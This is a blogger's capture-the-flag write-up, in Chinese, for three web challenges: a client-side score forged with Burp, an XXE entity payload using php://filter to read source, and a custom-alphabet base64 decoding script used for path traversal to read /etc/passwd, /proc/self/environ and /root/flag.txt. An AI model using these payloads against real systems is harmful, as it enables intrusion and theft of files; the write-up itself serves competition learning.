中关村第三届新兴领域专题赛网络与信息安全领域专项赛wp

吐槽

最后半小时5分钟掉一名,最后1分钟连掉2名,直接跌出20名,太难了,不过也没办法,有很多企业来参加这种有钱钱拿的比赛,再吐槽下Web题,这比赛web4零解,web1、web2一眼题,web3智障变表base64,感觉难度分级不太舒服,而且这比赛名字怎么这么长

WEB|Game

看源码发现前端判断分数到15的时候会向 score.php POST score=15,直接burpsuite代替前端POST一下就行
flag为flag{25b36aaf-74ff-4a0f-bc79-8b799272f4ac}

WEB|Who_are_you?

burpsuite一看报文就是xxe,直接构造实体注入,不知道读什么文件于是直接读现有的index.php,发现flag就在里面

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY ccdragon SYSTEM 'php://filter/convert.base64-encode/resource=index.php'> ]>
<feedback>
<author>&ccdragon;</author>
</feedback>
```
然后把返回包base64解密即可得到flag
flag为flag{62daacf4-a9d5-43e2-9be3-8ca9056f8a35}

WEB|show_me_your_image

这题卡了比较久

首先试了各种奇怪的base58 base9x base32啥的都不行

后来给了hint是base64但是decode出来是奇怪的东西

最后发现name参数带的base64是不太一样的,bin大哥说这叫变表

经过分析发现这些base64是和原本的base64有一一映射关系

于是写了智障脚本想把所有对应关系跑出来

after1='0LDvAXsXTBl1D5SvSOscjXSvlklOlkl1DgSVjYnvAOVbAXD8SYSXSYV8jLSvMXF8jLS+l57BDyi4DmWfjOWF0YhkSYihAB7Uwyqhl571D5i4D5jBDyJUDZhRjmj='
before1='YXNobmpmazM0NTdod2prcmdoMjM2MjM0NndlcW9ob2l4bmNvdWdmdWlvcXdoZmtvcXduMTIzNDEyNGRhc2RtYW5jdWE5bzI3ODQ5MTI0NTEyNTczNDU3NS5qcGc='

before2='d3F5dWdyb2lxd2VsaHZmdWlscXdoeGRuNzgyNDYzYnY1MDg3M24yNDc4eGRybXk5MDJ1Yzk4NG55c2RtY2h5NzgyM2M1bXVud2V1a2Nobm0yNzgwNXZueXdlbnhqa2RrbWh4ODk3bTNjODQyM25jaGRrdy5qcGc='
after2='SUNhSYS4AOVHSOPuToMXSYVujLSv6mW+DBe4Dy0B0g0rlyeUlOb4Dyjb6mW4AL9hlyCr0B9bDmhhjOWF0OfhDBe4lOlrALP+SOPrTODvAX14DBepDLM+6LSVAgfRTOWcAYfbwy9UA5Dkwyq4lOhkTmWcS4hRjmj='

after3='l57UDkfkDmhvw5i4lBjbw5dOTkJUDke4lBVFTkPxDkeplkDRMX1UD5qOlkdgSkjrlkehlUM+lklrDBehlmCOAkJhlkfxSxhRjmj='
before3='MTI3NjhjNG5oOTEyMzc4OTB2ajU3NjgyMzltajViNjgwMjNqZm03NTQ2MjBndjc1Mjg5M3ZuMjM1Nzg5MGJ2bjU5Mjhidi5qcGc='

before_base64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
after_base64=list("AB3DEFGHIJKaMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")

before4='MTIzMTIzZDc4MDAwYXNkYXNkYXNkZGFzLmpwZw=='
after4='l57Bl57BMyjbly/p0LD90LD90LD9MmNBaXspMp=='

before5='cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWltZy5waHA='
after5='jmfpwxt8MXVuSmP4aUCV0Yqn0On+SXP4S3hx0LDVDkqFMYhkAOWVaUCVjOnrjXDV2YVFM4hpTo/+Tgdg'

for (i,j) in zip(before1,after1):
    a=before_base64.find(i)
    if(a!=-1):
        after_base64[a]=j

for (i,j) in zip(before2,after2):
    a=before_base64.find(i)
    if(a!=-1):
        after_base64[a]=j

for (i,j) in zip(before3,after3):
    a=before_base64.find(i)
    if(a!=-1):
        after_base64[a]=j

for (i,j) in zip(before4,after4):
    a=before_base64.find(i)
    if(a!=-1):
        after_base64[a]=j

for (i,j) in zip(before5,after5):
    a=before_base64.find(i)
    if(a!=-1):
        after_base64[a]=j

print(''.join(after_base64))

file='aW1nLnBocA=='

table = str.maketrans(before_base64,''.join(after_base64))

print('原来',file)
print('结果',file.translate(table))
for (i,j) in zip(file,file.translate(table)):
    if(i==j and i!='='):
        print("差个",i)

虽然直到最后也没有把整个base64的表跑出来,但是发现想读什么文件直接传文件名.jpg上去,然后把得到的name值放进脚本里面跑一下基本就能搞出来不带.jpg的文件名的变表base64

然后这里又卡了好久,然后开始疯狂读文件

name=axb8axb8axb8axb8axb8axb8axb8axb8axb8axb8MLWkaUdfjUDUM/%3D%3D
这是../../../../../../../../../../etc/passwd

axb8axb8axb8axb8axb8axb8axb8axb8axb8joC804nBMYHXaOPbMq%3d%3d这是/proc/self/exe

读文件name=axb8axb8axb8axb8axb8joC804nBMYHXaOP%2bSXV4AOb%3d /proc/self/environ,里面有几行

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

HOSTNAME=cbe9c3546daf

TERM=xterm

HOME=/root

不过都没啥用

最后看到hint2才知道要读/templates/upload.html

于是在/proc/self/cwd里面找找读取/proc/self/cwd/templates/upload.html

name=axb8axb8axb8axb8axb8axb8axb8joC804nBMYHXaODUM3n1MYrpAmN1MLl8SLduAON9aXf1AYp%3d

发现最下面一行注释

然后直接读/root/flag.txt就好了

GET /img.php?name=axb8axb8axb8axb8axb8axb8axb8jXn8S3nXAmNgagWbS/%3d%3d HTTP/1.1
最终获得flag
flag为flag{c40440e0-b8fa-416a-a2b3-880906d1b6de}

关于

为啥没图???

官方要求的wp懒得贴图,交完以后就复制粘贴过来了

发表评论

电子邮件地址不会被公开。 必填项已用*标注